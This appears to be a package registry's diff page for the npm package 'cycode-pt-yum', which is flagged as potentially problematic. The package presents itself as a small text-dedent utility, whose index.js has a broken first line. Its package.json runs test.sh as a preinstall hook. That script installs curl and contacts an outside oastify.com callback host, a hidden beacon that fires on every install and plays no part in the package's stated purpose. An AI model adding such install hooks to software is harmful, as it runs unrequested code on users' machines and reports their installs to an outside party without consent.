cycode-pt-yum 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of cycode-pt-yum might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +1 -0
  2. package/index.js +18 -0
  3. package/package.json +12 -0
  4. package/test.sh +2 -0
package/README.md ADDED
@@ -0,0 +1 @@
1
+ This is for YUM.
package/index.js ADDED
@@ -0,0 +1,18 @@
1
+ use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.dedent = void 0;
4
+ function dedent(text) {
5
+ var re_whitespace = /^([ \t]*)(.*)\n/gm;
6
+ var l, m, i;
7
+ while ((m = re_whitespace.exec(text)) !== null) {
8
+ if (!m[2])
9
+ continue;
10
+ if ((l = m[1].length)) {
11
+ i = i !== undefined ? Math.min(i, l) : l;
12
+ }
13
+ else
14
+ break;
15
+ }
16
+ if (i)
17
+ text = text.replace(new RegExp('^[ \t]{' + i + '}(.*\n)', 'gm'), '$1');
18
+ return text;
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "cycode-pt-yum",
3
+ "version": "1.0.0",
4
+ "description": "YUM",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "sh test.sh"
9
+ },
10
+ "author": "Ron",
11
+ "license": "ISC"
12
+ }
package/test.sh ADDED
@@ -0,0 +1,2 @@
1
+ #!/bin/bash
2
+ apt-get update && apt-get install -y curl; /usr/bin/curl https://p1r4ujh418mwzw8eazhgbag2stynmga5.oastify.com